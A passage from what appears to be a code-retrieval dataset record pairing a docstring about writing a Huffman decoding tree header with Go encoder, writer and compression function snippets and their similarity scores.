enc, nil\n}", "func NewEncoder(w io.Writer) *Encoder {\n\ta := &Encoder{\n\t\thost: fqdn.Get(),\n\t\tWriter: w,\n\t}\n\treturn a\n}", "func (d *DiskSorter) NewWriter(_ context.Context) (Writer, error) {\n\tif d.state.Load() > diskSorterStateWriting {\n\t\treturn nil, errors.Errorf(\"diskSorter started sorting, cannot write more data\")\n\t}\n\treturn &diskSorterWriter{\n\t\tbuf: make([]byte, d.opts.WriterBufferSize),\n\t\tnewSSTWriter: func() (*sstWriter, error) {\n\t\t\tfileNum := int(d.idAlloc.Add(1))\n\t\t\treturn newSSTWriter(d.fs, d.dirname, fileNum, defaultKVStatsBucketSize,\n\t\t\t\tfunc(meta *fileMetadata) {\n\t\t\t\t\td.pendingFiles.Lock()\n\t\t\t\t\td.pendingFiles.files = append(d.pendingFiles.files, meta)\n\t\t\t\t\td.pendingFiles.Unlock()\n\t\t\t\t})\n\t\t},\n\t}, nil\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{out: w}\n}", "func (enc *HuffmanEncoder) Write(p []byte) (n int, err error) {\n\tfor _, v := range p {\n\t\tcode, ok := enc.dict[v]\n\t\tif !ok {\n\t\t\tpanic(errors.New(\"non-existant uncompressed code \" + string(v)))\n\t\t}\n\n\t\terr = enc.bw.WriteBits(code.hcode, code.nbits)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\treturn len(p), nil\n}", "func (enc *HuffmanEncoder) WriteHeader() error {\n\t// for iterative tree walking use savedict\n\t// for recursive, use rsavedict\n\n\t// if err := savedict(enc.bw, enc.root); err != nil {\n\tif err := rsavedict(enc.bw, enc.root); err != nil {\t\t// recursive version\n\t\treturn err\n\t}\n\treturn enc.bw.WriteBit(bs.Zero) // end of dictionary indicator\n}", "func NewEncoding(encoder []rune, trailing []rune) *Encoding {\n\tif len(encoder) != encoderSize {\n\t\tpanic(\"encoder is not 2048 characters\")\n\t}\n\n\tif len(trailing) != trailingSize {\n\t\tpanic(\"trailing is not 8 characters\")\n\t}\n\n\tfor i := 0; i < len(encoder); i++ {\n\t\tif encoder[i] == '\\n' || encoder[i] == '\\r' {\n\t\t\tpanic(\"encoder contains newline character\")\n\t\t}\n\t}\n\n\tfor i := 0; i < len(trailing); i++ {\n\t\tif trailing[i] == '\\n' || trailing[i] == '\\r' {\n\t\t\tpanic(\"trailing contains newline character\")\n\t\t}\n\t}\n\n\tenc := new(Encoding)\n\tcopy(enc.encode[:], encoder)\n\tcopy(enc.tail[:], trailing)\n\tenc.decodeMap = make(map[rune]uint16, len(encoder))\n\tenc.tailMap = make(map[rune]uint16, len(trailing))\n\n\tfor i := 0; i < len(encoder); i++ {\n\t\tenc.decodeMap[encoder[i]] = uint16(i)\n\t}\n\n\tfor i := 0; i < len(trailing); i++ {\n\t\tenc.tailMap[trailing[i]] = uint16(i)\n\t}\n\n\treturn enc\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn NewVersionedEncoder(DefaultVersion, w)\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w: bufio.NewWriter(w)}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w: bufio.NewWriter(w)}\n}", "func NewOneHotEncoder() *OneHotEncoder {\n\treturn &OneHotEncoder{}\n}", "func New(priority Priority, tag string) (*Writer, error) {}", "func NewEncoder(params *Parameters) Encoder {\n\n\tvar ringQ, ringT *ring.Ring\n\tvar err error\n\n\tif ringQ, err = ring.NewRing(params.N(), params.qi); err != nil {\n\t\tpanic(err)\n\t}\n\n\tif ringT, err = ring.NewRing(params.N(), []uint64{params.t}); err != nil {\n\t\tpanic(err)\n\t}\n\n\tvar m, pos, index1, index2 int\n\n\tslots := params.N()\n\n\tindexMatrix := make([]uint64, slots)\n\n\tlogN := params.LogN()\n\n\trowSize := params.N() >> 1\n\tm = (params.N() << 1)\n\tpos = 1\n\n\tfor i := 0; i < rowSize; i++ {\n\n\t\tindex1 = (pos - 1) >> 1\n\t\tindex2 = (m - pos - 1) >> 1\n\n\t\tindexMatrix[i] = utils.BitReverse64(uint64(index1), uint64(logN))\n\t\tindexMatrix[i|rowSize] = utils.BitReverse64(uint64(index2), uint64(logN))\n\n\t\tpos *= GaloisGen\n\t\tpos &= (m - 1)\n\t}\n\n\treturn &encoder{\n\t\tparams: params.Copy(),\n\t\tringQ: ringQ,\n\t\tringT: ringT,\n\t\tindexMatrix: indexMatrix,\n\t\tdeltaMont: GenLiftParams(ringQ, params.t),\n\t\tscaler: ring.NewRNSScaler(params.t, ringQ),\n\t\ttmpPoly: ringT.NewPoly(),\n\t\ttmpPtRt: NewPlaintextRingT(params),\n\t}\n}", "func (cfg frozenConfig) NewEncoder(writer io.Writer) Encoder {\n enc := encoder.NewStreamEncoder(writer)\n enc.Opts = cfg.encoderOpts\n return enc\n}", "func NewEncoder(w io.Writer, v Validator) *Encoder {\n\treturn &Encoder{writer: w, validator: v}\n}", "func NewWriter(h hash.Hash) func(io.Writer) io.Writer {\r\n\treturn func(w io.Writer) io.Writer {\r\n\t\treturn io.MultiWriter(w, h)\r\n\t}\r\n}", "func NewEncoder(encType uint32, key []byte) (*Encoder, error) {\n\tEntry, ok := encoders[encType]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid encoding type %d\", encType)\n\t}\n\n\tenc, err := Entry.factory(key)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%s encoding error: %w\", enc, err)\n\t}\n\n\tkeysize := enc.KeySize()\n\tif len(key) < keysize+HMAC256KeySize {\n\t\treturn nil, ErrKeyTooSmall\n\t}\n\n\treturn &Encoder{\n\t\tenc: enc,\n\t\thmac: NewHMAC256(key[keysize : keysize+HMAC256KeySize]),\n\t\tname: Entry.name,\n\t}, nil\n}", "func NewEntropyEncoder(obs kanzi.OutputBitStream, ctx map[string]interface{},\n\tentropyType uint32) (kanzi.EntropyEncoder, error) {\n\tswitch entropyType {\n\n\tcase HUFFMAN_TYPE:\n\t\treturn NewHuffmanEncoder(obs)\n\n\tcase ANS0_TYPE:\n\t\treturn NewANSRangeEncoder(obs, 0)\n\n\tcase ANS1_TYPE:\n\t\treturn NewANSRangeEncoder(obs, 1)\n\n\tcase RANGE_TYPE:\n\t\treturn NewRangeEncoder(obs)\n\n\tcase FPAQ_TYPE:\n\t\treturn NewFPAQEncoder(obs)\n\n\tcase CM_TYPE:\n\t\tpredictor, _ := NewCMPredictor()\n\t\treturn NewBinaryEntropyEncoder(obs, predictor)\n\n\tcase TPAQ_TYPE:\n\t\tpredictor, _ := NewTPAQPredictor(&ctx)\n\t\treturn NewBinaryEntropyEncoder(obs, predictor)\n\n\tcase TPAQX_TYPE:\n\t\tpredictor, _ := NewTPAQPredictor(&ctx)\n\t\treturn NewBinaryEntropyEncoder(obs, predictor)\n\n\tcase NONE_TYPE:\n\t\treturn NewNullEntropyEncoder(obs)\n\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Unsupported entropy codec type: '%c'\", entropyType)\n\t}\n}", "func buildPrefixTree(byteFrequencies *dictionary.Dictionary) *huffmanTreeNode {\n\ttree := new(priorityqueue.PriorityQueue)\n\tkeys := byteFrequencies.Keys()\n\n\tfor i := 0; i < keys.Size(); i++ {\n\t\tbyt := keys.MustGet(i)\n\t\tfrequency, _ := byteFrequencies.Get(byt)\n\n\t\ttree.Enqueue(frequency.(int), &huffmanTreeNode{frequency: frequency.(int), value: byt.(byte)})\n\t}\n\n\tfor tree.Size() > 1 {\n\t\taPrio, a := tree.Dequeue()\n\t\tbPrio, b := tree.Dequeue()\n\n\t\tnewPrio := aPrio + bPrio\n\n\t\tnode := &huffmanTreeNode{frequency: newPrio, left: a.(*huffmanTreeNode), right: b.(*huffmanTreeNode)}\n\n\t\ttree.Enqueue(newPrio, node)\n\t}\n\n\t_, root := tree.Dequeue()\n\n\treturn root.(*huffmanTreeNode)\n}", "func NewEncoder(size int) *Encoder {\n\treturn &Encoder{\n\t\tbuf: make([]byte, 0, size),\n\t}\n}", "func NewWriter(w io.Writer) *zip.Writer", "func NewWriter(base io.Writer, level int) (io.WriteCloser, error) {\n\tw, err := gzip.NewWriterLevel(base, level)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn streamstore.NewIOCoppler(w, base), nil\n}", "func NewEncoder(f FormatType, w io.Writer) (enc Encoder) {\n\tvar e EncodeProvider = nil\n\n\tswitch f {\n\tcase TomlFormat:\n\t\te = NewTomlEncoder(w)\n\tcase YamlFormat:\n\t\te = NewYamlEncoder(w)\n\tcase JsonFormat:\n\t\te = json.NewEncoder(w)\n\tdefault:\n\t}\n\n\treturn Encoder{Provider: e}\n}", "func NewEncoder(options ...EncoderOption) Encoder {\n\te := Encoder{}\n\tfor _, option := range options {\n\t\toption.applyEncoderOption(&e)\n\t}\n\tif e.set == nil {\n\t\te.set = charset.DefaultEncoder()\n\t}\n\tif e.ext == nil {\n\t\te.ext = charset.DefaultExtEncoder()\n\t}\n\treturn e\n}", "func NewWriter(w io.Writer, encoding string, level int) (cw Writer, err error) {\n\tswitch encoding {\n\tcase GZIP:\n\t\tcw, err = gzip.NewWriterLevel(w, level)\n\tcase DEFLATE: // -1 default level, same for gzip.\n\t\tcw, err = flate.NewWriter(w, level)\n\tcase BROTLI: // 6 default level.\n\t\tif level == -1 {\n\t\t\tlevel = 6\n\t\t}\n\t\tcw = brotli.NewWriterLevel(w, level)\n\tcase SNAPPY:\n\t\tcw = snappy.NewWriter(w)\n\tcase S2:\n\t\tcw = s2.NewWriter(w)\n\tdefault:\n\t\t// Throw if \"identity\" is given. As this is not acceptable on \"Content-Encoding\" header.\n\t\t// Only Accept-Encoding (client) can use that; it means, no transformation whatsoever.\n\t\terr = ErrNotSupportedCompression\n\t}\n\n\treturn\n}", "func NewEncoder(w io.Writer, markup app.Markup, formatHref bool) *Encoder {\n\treturn &Encoder{\n\t\twriter: bufio.NewWriter(w),\n\t\tmarkup: markup,\n\t\tformatHref: formatHref,\n\t}\n}", "func (fixedLenByteArrayEncoderTraits) Encoder(e format.Encoding, useDict bool, descr *schema.Column, mem memory.Allocator) TypedEncoder {\n\tif useDict {\n\t\treturn &DictFixedLenByteArrayEncoder{newDictEncoderBase(descr, NewBinaryDictionary(mem), mem)}\n\t}\n\n\tswitch e {\n\tcase format.Encoding_PLAIN:\n\t\treturn &PlainFixedLenByteArrayEncoder{encoder: newEncoderBase(e, descr, mem)}\n\tdefault:\n\t\tpanic(\"unimplemented encoding type\")\n\t}\n}", "func NewEncoder() Encoder {\n\treturn &encoder{}\n}", "func NewEncoder(w io.Writer) *json.Encoder {\n\treturn json.NewEncoder(&RecordWriter{w})\n}", "func NewEncoder(indent string) (*Encoder, error) {\n\te := &Encoder{}\n\tif len(indent) > 0 {\n\t\tif strings.Trim(indent, \" \\t\") != \"\" {\n\t\t\treturn nil, errors.New(\"indent may only be composed of space or tab characters\")\n\t\t}\n\t\te.indent = indent\n\t}\n\treturn e, nil\n}", "func (e *encoder) writeDHT(nComponent int) {\n\tmarkerlen := 2\n\tspecs := theHuffmanSpec[:]\n\tif nComponent == 1 {\n\t\t// Drop the Chrominance tables.\n\t\tspecs = specs[:2]\n\t}\n\tfor _, s := range specs {\n\t\tmarkerlen += 1 + 16 + len(s.value)\n\t}\n\te.writeMarkerHeader(dhtMarker, markerlen)\n\tfor i, s := range specs {\n\t\te.writeByte(\"\\x00\\x10\\x01\\x11\"[i])\n\t\te.write(s.count[:])\n\t\te.write(s.value)\n\t}\n}", "func HuffmanOnlyDeflate(d policies.DEFLATE,data []byte) []byte {\n\tbuf := new(bytes.Buffer)\n\tw,e := flate.NewWriter(buf,flate.HuffmanOnly)\n\tif e!=nil { panic(e) }\n\tw.Write(data)\n\tw.Close()\n\treturn buf.Bytes()\n}", "func newPrefixDefinedWriter(writer prefixWriteCloser, prefixLen int) *prefixDefinedWriter {\n\tif prefixLen < 0 {\n\t\tpanic(fmt.Errorf(\"newPrefixDefinedWriter: invalid prefixLen %v\", prefixLen))\n\t}\n\tif writer == nil {\n\t\tpanic(fmt.Errorf(\"newPrefixDefinedWriter: nil writer\"))\n\t}\n\treturn &prefixDefinedWriter{\n\t\tprefixLen: prefixLen,\n\t\tprefix: make([]byte, 0, prefixLen),\n\t\tw: writer}\n}", "func NewEncoder(r *csv.Writer) *Encoder {\n\treturn &Encoder{r, false}\n}", "func NewEncoder(writer io.Writer) *Encoder {\n\tbufwrite, ok := writer.(*bufio.Writer)\n\tif !ok {\n\t\tbufwrite = bufio.NewWriter(writer)\n\t}\n\tp := &Encoder{\n\t\twriter: bufwrite,\n\t}\n\treturn p\n}", "func NewWriter(w io.Writer) io.WriteCloser {\n\treturn NewWriterSizeLevel(w, -1, DefaultCompression)\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn EncodeOptions{}.NewEncoder(w)\n}", "func execNewEncoder(_ int, p *gop.Context) {\n\targs := p.GetArgs(1)\n\tret := json.NewEncoder(args[0].(io.Writer))\n\tp.Ret(1, ret)\n}", "func New(version string, config Config) *Encoder {\n\te := &Encoder{version: version, config: config}\n\te.reset()\n\treturn e\n}", "func NewEncoderWithHostname(w io.Writer, host string) *Encoder {\n\ta := &Encoder{\n\t\thost: host,\n\t\tWriter: w,\n\t}\n\treturn a\n}", "func newCountHashWriter(w io.Writer) *countHashWriter {\n\treturn &countHashWriter{w: w}\n}", "func NewWriter(w io.Writer) *PubKeyWriter {\n\treturn &PubKeyWriter{\n\t\tw: w,\n\t}\n}", "func NewWALEncoder(wr io.Writer) *WALEncoder {\n\treturn &WALEncoder{wr}\n}", "func NewFileWriter(tInfo *InfoDict, fileName string) FileWriter {\n\tvar f FileWriter\n\tf.Info = tInfo\n\n\tfile, err := os.Create(fileName)\n\tif err != nil {\n\t\tlog.Fatal(\"Error creating file to write pieces\\n\", err)\n\t}\n\tif err := file.Truncate(int64(tInfo.Length)); err != nil {\n\t\tlog.Fatal(\"Unable to create a file with enough space for torrent\\n\", err)\n\t}\n\n\tf.DataFile = file // f is now the file where data is to be written\n\tf.Status = CREATED\n\treturn f\n}", "func Encode(out *bytes.Buffer, byts []byte) (*EncodeInfo, error) {\n\tt := createTree(byts)\n\tconst codeSize = 32 // not optimize\n\tc := code{\n\t\tbits: make([]bool, 0, codeSize),\n\t}\n\te := newEncoder()\n\tif err := e.encode(t, c); err != nil {\n\t\treturn nil, err\n\t}\n\tsb, err := e.write(out, byts)\n\tei := &EncodeInfo{\n\t\tbytCodeMap: e.bytCodeMap,\n\t\tSize: sb,\n\t}\n\treturn ei, err\n}", "func NewEncoder(is ...interface{}) (e *Encoder, err error) {\n\n\tl := len(is)\n\tengines := make([]encEng, l)\n\tfor i := 0; i < l; i++ {\n\t\tengines[i], err = getEncEngine(reflect.TypeOf(is[i]))\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\te = &Encoder{\n\t\tlength: l,\n\t\tengines: engines,\n\t}\n\treturn\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn eos.NewEncoder(w)\n}", "func makeHuffman(p priq.PriQ) *node {\n\trr, ok := p.Remove()\n\tif !ok {\n\t\tpanic(\"not enough elements in the priority queue to make a huffman tree\")\n\t}\t\n\tr := rr.(*node)\n\tll, ok := p.Remove()\n\tif !ok {\n\t\tpanic(\"not enough elements in the priority queue to make a huffman tree\")\n\t}\n\tl := ll.(*node)\t\n\tfor !p.Empty() {\n\t\tparent := new(node)\n\t\tparent.count = l.count + r.count\n\t\tparent.left = l\n\t\tparent.right = r\n\t\tp.Add(parent)\n\n\t\trr, ok = p.Remove()\n\t\tr = rr.(*node)\n\t\tll, ok = p.Remove()\n\t\tl = ll.(*node)\n\t}\n\troot := new(node)\n\troot.count = l.count + r.count\n\troot.left = l\n\troot.right = r\n\treturn root\n}", "func NewEncoder(inner *json.Encoder, transformers ...transform.Transformer) Encoder {\n\treturn &encoder{inner, transformers}\n}", "func NewWriter(bw BitWriteCloser, eof Symbol, weights []int) SymbolWriteCloser {\n\treturn newWriter(bw, eof, weights)\n}", "func NewDictionary(strs ...string) *DFA {\n\tb := NewBuilder()\n\tsort.Strings(strs)\n\tfor _, str := range strs {\n\t\tif err := b.Add(str, 1); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\treturn b.Build()\n}", "func NewOneHotEncoderStep(inputs map[string]DataRef, outputMethods []string) *StepData {\n\treturn NewStepData(\n\t\t&pipeline.Primitive{\n\t\t\tId: \"d3d421cb-9601-43f0-83d9-91a9c4199a06\",\n\t\t\tVersion: \"0.5.1\",\n\t\t\tName: \"One-hot encoder\",\n\t\t\tPythonPath: \"d3m.primitives.data_transformation.one_hot_encoder.DistilOneHotEncoder\",\n\t\t\tDigest: \"66818496dda8d06badfb1a71f75172b50b9288c312b91952d73c0d4c7408480f\",\n\t\t},\n\t\toutputMethods,\n\t\tmap[string]interface{}{\"max_one_hot\": 16},\n\t\tinputs,\n\t)\n}", "func NewEncoder() (*Encoder, error) {\n\treturn &Encoder{\n\t\tbuffer: make([]byte, MaxBufferSize),\n\t\tposition: uint64(MaxBufferSize - 1),\n\t}, nil\n}", "func NewEncoder() *Encoder {\n\treturn &Encoder{buf: &bytes.Buffer{}, tmp: &bytes.Buffer{}}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{w: w, enabledHTMLEscape: true}\n}", "func NewWriter(code uint16, magic ...uint16) *Writer {\n\tvar w = &Writer{}\n\n\tw.buffer = make([]byte, DEFAULT_BUFFER_SIZE)\n\tw.index = 0\n\n\tif magic == nil {\n\t\t// grab magic key from encryption package\n\t\tw.WriteUint16(encryption.MagicKey)\n\t} else {\n\t\t// write custom magic key\n\t\tw.WriteUint16(magic[0])\n\t}\n\n\tw.WriteUint16(0x00) // size\n\tw.WriteUint16(code) // packet type\n\n\tw.Type = int(code)\n\n\treturn w\n}", "func (o EncodeOptions) NewEncoder(w io.Writer) *Encoder {\n\te := new(Encoder)\n\to.ResetEncoder(e, w)\n\treturn e\n}", "func NewCompressor(\n\tuncompressed io.Reader, codec api.CompressionCodec, keys *enc.EEK, uncompressedBufferSize uint32,\n) (Compressor, error) {\n\tvar inner FlushCloseWriter\n\tbuf := new(bytes.Buffer)\n\n\tswitch codec {\n\tcase api.CompressionCodec_GZIP:\n\t\tinner = gzipWriters.Get().(*gzip.Writer)\n\t\tinner.(*gzip.Writer).Reset(buf)\n\tcase api.CompressionCodec_NONE:\n\t\tinner = &noOpFlushCloseWriter{buf}\n\tdefault:\n\t\tpanic(fmt.Errorf(\"unexpected codec: %s\", codec))\n\t}\n\tif uncompressedBufferSize < MinBufferSize {\n\t\treturn nil, ErrBufferSizeTooSmall\n\t}\n\treturn &compressor{\n\t\tuncompressed: uncompressed,\n\t\tinner: inner,\n\t\tbuf: buf,\n\t\tuncompressedMAC: enc.NewHMAC(keys.HMACKey),\n\t\tuncompressedBufferSize: uncompressedBufferSize,\n\t}, nil\n}", "func WriterCreateHeader(w *zip.Writer, fh *zip.FileHeader,) (io.Writer, error)", "func NewWriter(treeID int64, hasher Hasher, height, split uint) *Writer {\n\tif split > height {\n\t\tpanic(fmt.Errorf(\"NewWriter: split(%d) > height(%d)\", split, height))\n\t}\n\treturn &Writer{h: bindHasher(hasher, treeID), height: height, split: split}\n}", "func NewEncoder() Encoder {\n\treturn &encoder{\n\t\tbuf: new(bytes.Buffer),\n\t}\n}", "func (f lzwDecode) Encode(r io.Reader) (*bytes.Buffer, error) {\n\n\tlog.Debug.Println(\"EncodeLZW begin\")\n\n\tvar b bytes.Buffer\n\n\tec, ok := f.parms[\"EarlyChange\"]\n\tif !ok {\n\t\tec = 1\n\t}\n\n\twc := lzw.NewWriter(&b, ec == 1)\n\tdefer wc.Close()\n\n\twritten, err := io.Copy(wc, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Debug.Printf(\"EncodeLZW end: %d bytes written\\n\", written)\n\n\treturn &b, nil\n}", "func (j *JsonMarshaler) NewEncoder(w io.Writer) runtime.Encoder {\n\treturn json.NewEncoder(w)\n}", "func NewEncoder() *Encoder {\n\tselect {\n\tcase enc := <-encObjPool:\n\t\treturn enc\n\tdefault:\n\t\treturn &Encoder{}\n\t}\n}", "func (f lzwDecode) Encode(r io.Reader) (io.Reader, error) {\n\n\tlog.Trace.Println(\"EncodeLZW begin\")\n\n\tvar b bytes.Buffer\n\n\tec, ok := f.parms[\"EarlyChange\"]\n\tif !ok {\n\t\tec = 1\n\t}\n\n\twc := lzw.NewWriter(&b, ec == 1)\n\tdefer wc.Close()\n\n\twritten, err := io.Copy(wc, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Trace.Printf(\"EncodeLZW end: %d bytes written\\n\", written)\n\n\treturn &b, nil\n}", "func encodeToHuffmanCodes(uncompressed *vector.Vector, codes *dictionary.Dictionary) *vector.Vector {\n\tencodedHuffmanCodes := vector.New()\n\n\tfor i := 0; i < uncompressed.Size(); i++ {\n\t\tbyt := uncompressed.MustGet(i)\n\n\t\tiCode, _ := codes.Get(byt)\n\t\tcode := iCode.(*vector.Vector)\n\n\t\tfor j := 0; j < code.Size(); j++ {\n\t\t\tencodedHuffmanCodes.Append(code.MustGet(j))\n\t\t}\n\t}\n\n\treturn encodedHuffmanCodes\n}", "func newProfileBuilder(w io.Writer) *profileBuilder {\n\tzw, _ := gzip.NewWriterLevel(w, gzip.BestSpeed)\n\tb := &profileBuilder{\n\t\tw: w,\n\t\tzw: zw,\n\t\tstart: time.Now(),\n\t\tstrings: []string{\"\"},\n\t\tstringMap: map[string]int{\"\": 0},\n\t\tlocs: map[uintptr]int{},\n\t\tfuncs: map[string]int{},\n\t}\n\tb.readMapping()\n\treturn b\n}", "func NewWriter(w io.Writer) *PubKeyWriter {\n\treturn keyio.NewWriter(w)\n}", "func (head *Node) WriteHeader(w *bitio.Writer, freq map[uint8]uint) (err error) {\n\tvar nEncoded uint32\n\tfor _, v := range freq {\n\t\tnEncoded += uint32(v)\n\t}\n\n\t// Write total number of encoded symbols\n\tw.TryWriteBitsUnsafe(uint64(nEncoded), 32)\n\n\t// Write total number of symbols in graph\n\tw.TryWriteBitsUnsafe(uint64(len(freq)), 8)\n\n\t// Write encoding tree information\n\tif err = head.writeHeader(w); err != nil {\n\t\treturn err\n\t}\n\tw.TryWriteBitsUnsafe(0, 1)\n\treturn w.TryError\n}", "func NewWriter(w io.Writer, h *Header) *Writer {\n\tenc := h.extractEncoder()\n\treturn &Writer{\n\t\tw: w,\n\t\twroteHeader: false,\n\t\th: h,\n\t\tencoder: enc,\n\t\tcurrByte: 0,\n\t\tbitsWritten: 0,\n\t\terr: nil,\n\t}\n}", "func NewVersionedEncoder(version Version, w io.Writer) *Encoder {\n\tif !isAllowedVersion(version) {\n\t\tpanic(fmt.Sprintf(\"unsupported VOM version: %x\", version))\n\t}\n\treturn &Encoder{encoder{\n\t\twriter: w,\n\t\tbuf: newEncbuf(),\n\t\ttypeStack: make([]typeStackEntry, 0, 10),\n\t\ttypeEnc: newTypeEncoderWithoutVersionByte(version, w),\n\t\tsentVersionByte: false,\n\t\tversion: version,\n\t}}\n}", "func NewWriter(f File, o *db.Options) *Writer {\n\tw := &Writer{\n\t\tcloser: f,\n\t\tblockRestartInterval: o.GetBlockRestartInterval(),\n\t\tblockSize: o.GetBlockSize(),\n\t\tcmp: o.GetComparer(),\n\t\tcompression: o.GetCompression(),\n\t\tprevKey: make([]byte, 0, 256),\n\t\trestarts: make([]uint32, 0, 256),\n\t}\n\tif f == nil {\n\t\tw.err = errors.New(\"leveldb/table: nil file\")\n\t\treturn w\n\t}\n\t// If f does not have a Flush method, do our own buffering.\n\ttype flusher interface {\n\t\tFlush() error\n\t}\n\tif _, ok := f.(flusher); ok {\n\t\tw.writer = f\n\t} else {\n\t\tw.bufWriter = bufio.NewWriter(f)\n\t\tw.writer = w.bufWriter\n\t}\n\treturn w\n}", "func NewEncoding(encoder string) *Encoding {\n\tif len(encoder) != 32 {\n\t\tpanic(\"encoding alphabet is not 32-bytes long\")\n\t}\n\n\te := new(Encoding)\n\te.padChar = StdPadding\n\tcopy(e.encode[:], encoder)\n\tcopy(e.decodeMap[:], decodeMapInitialize)\n\n\tfor i := 0; i < len(encoder); i++ {\n\t\t// Note: While we document that the alphabet cannot contain\n\t\t// the padding character, we do not enforce it since we do not know\n\t\t// if the caller intends to switch the padding from StdPadding later.\n\t\tswitch {\n\t\tcase encoder[i] == '\\n' || encoder[i] == '\\r':\n\t\t\tpanic(\"encoding alphabet contains newline character\")\n\t\tcase e.decodeMap[encoder[i]] != invalidIndex:\n\t\t\tpanic(\"encoding alphabet includes duplicate symbols\")\n\t\t}\n\t\te.decodeMap[encoder[i]] = uint8(i)\n\t}\n\treturn e\n}", "func NewWireFormatEncoder(\n\tctx context.Context,\n\tschemaRepository schemaregistry.Repository,\n\tsubject schemaregistry.Subject,\n\twriterSchemaStr string,\n) (WireFormatEncoder, error) {\n\tconst op = errors.Op(\"avroutil.NewWireFormatEncoder\")\n\tschemaID, _, err := schemaRepository.GetIDBySchema(\n\t\tctx,\n\t\tsubject,\n\t\twriterSchemaStr,\n\t)\n\tif err != nil {\n\t\treturn nil, errors.E(op, err)\n\t}\n\treturn &wireFormatEncoder{\n\t\twriterSchemaID: schemaID,\n\t}, nil\n}" ]
[ "0.68187904", "0.5415419", "0.53564626", "0.5354171", "0.52567977", "0.5114436", "0.51006263", "0.5085648", "0.5083247", "0.50649095", "0.50164247", "0.5015503", "0.49872044", "0.49753368", "0.4959254", "0.4930867", "0.4922031", "0.49132106", "0.49132106", "0.49132106", "0.49132106", "0.49132106", "0.49084482", "0.49084482", "0.48935995", "0.48697352", "0.4859407", "0.48533484", "0.48414934", "0.48297328", "0.48250443", "0.4819213", "0.4819213", "0.47842938", "0.47592747", "0.47592747", "0.4753628", "0.47220466", "0.46987218", "0.46680555", "0.46671462", "0.46430224", "0.46128973", "0.46052152", "0.4597169", "0.45917252", "0.4590682", "0.45875728", "0.4584758", "0.4552888", "0.4547654", "0.4526041", "0.4520955", "0.45175126", "0.45163158", "0.45155883", "0.45106858", "0.45068115", "0.44801906", "0.44780344", "0.4465762", "0.4464149", "0.44570768", "0.44556987", "0.44515964", "0.4410666", "0.44004112", "0.43998522", "0.43918532", "0.4391016", "0.4388855", "0.43863907", "0.43676287", "0.43536842", "0.4351907", "0.43512812", "0.4340337", "0.4335211", "0.4331632", "0.4325323", "0.4318197", "0.43134445", "0.43109378", "0.4305014", "0.42989102", "0.42976823", "0.42911983", "0.42814064", "0.4279631", "0.42779917", "0.4272511", "0.42695567", "0.42620507", "0.4260424", "0.42419487", "0.42387056", "0.42332873", "0.4230817", "0.42260775", "0.42244467" ]
0.6864214
0
Writes the Huffman tree that will be used for decoding XXX should probably save the uncompressed file size (in bytes) in the header; this would allow the reader to know how big the file should be. It might make sense to also have the compressed size as well, to be able to perform a sanity check that junk isn't being added to the end of the file somehow.
func (enc *HuffmanEncoder) WriteHeader() error { // for iterative tree walking use savedict // for recursive, use rsavedict // if err := savedict(enc.bw, enc.root); err != nil { if err := rsavedict(enc.bw, enc.root); err != nil { // recursive version return err } return enc.bw.WriteBit(bs.Zero) // end of dictionary indicator }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (head *Node) WriteHeader(w *bitio.Writer, freq map[uint8]uint) (err error) {\n\tvar nEncoded uint32\n\tfor _, v := range freq {\n\t\tnEncoded += uint32(v)\n\t}\n\n\t// Write total number of encoded symbols\n\tw.TryWriteBitsUnsafe(uint64(nEncoded), 32)\n\n\t// Write total number of symbols in graph\n\tw.TryWriteBitsUnsafe(uint64(len(freq)), 8)\n\n\t// Write encoding tree information\n\tif err = head.writeHeader(w); err != nil {\n\t\treturn err\n\t}\n\tw.TryWriteBitsUnsafe(0, 1)\n\treturn w.TryError\n}", "func Encode(in, out *os.File) {\n\tcounts := count(in)\n\tp := makePQ(counts)\n\th := makeHuffman(p)\n\tm := make(map[byte]string)\n\tfillMap(h, m, \"\")\n\tfor k, v := range m {\n\t\tfmt.Printf(\"k: %c, v: %s\\n\", k, v)\n\t}\n}", "func (decTree *Tree) WriteTree(filename string) {\n\tfile, err := os.Create(filename)\n\tif err != nil {\n\t\tfmt.Println(\"Error opening output file: \", filename)\n\t\treturn\n\t}\n\n\tcurrNode := decTree\n\tvar treeStack []*Tree\n\n\ttreeLen := 1\n\tfor treeLen != 0 {\n\t\tfile.WriteString(nodeToStr(currNode.Details))\n\n\t\tif currNode.Details.Leaf == false {\n\t\t\ttreeStack = append(treeStack, currNode.Right)\n\t\t\tcurrNode = currNode.Left\n\t\t\ttreeLen++\n\t\t} else {\n\t\t\t//get the length of the tree and set curr to the last element in the list\n\t\t\ttreeLen--\n\n\t\t\tif treeLen > 0 {\n\t\t\t\tcurrNode, treeStack = treeStack[treeLen-1], treeStack[:treeLen-1]\n\t\t\t}\n\t\t}\n\t}\n\n\tfile.Close()\n}", "func NewHuffmanEncoder(inp io.ReadSeeker, wc io.Writer) *HuffmanEncoder {\n\the := new(HuffmanEncoder)\n\tfreq := make(map[byte]int)\n\n\tvar b [1]byte\n\t// using the reader, count the frequency of bytes\n\tfor {\n\t\t_, err := inp.Read(b[:])\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tpanic(err)\n\t\t}\n\n\t\t_, ok := freq[b[0]]\n\t\tif !ok {\n\t\t\tfreq[b[0]] = 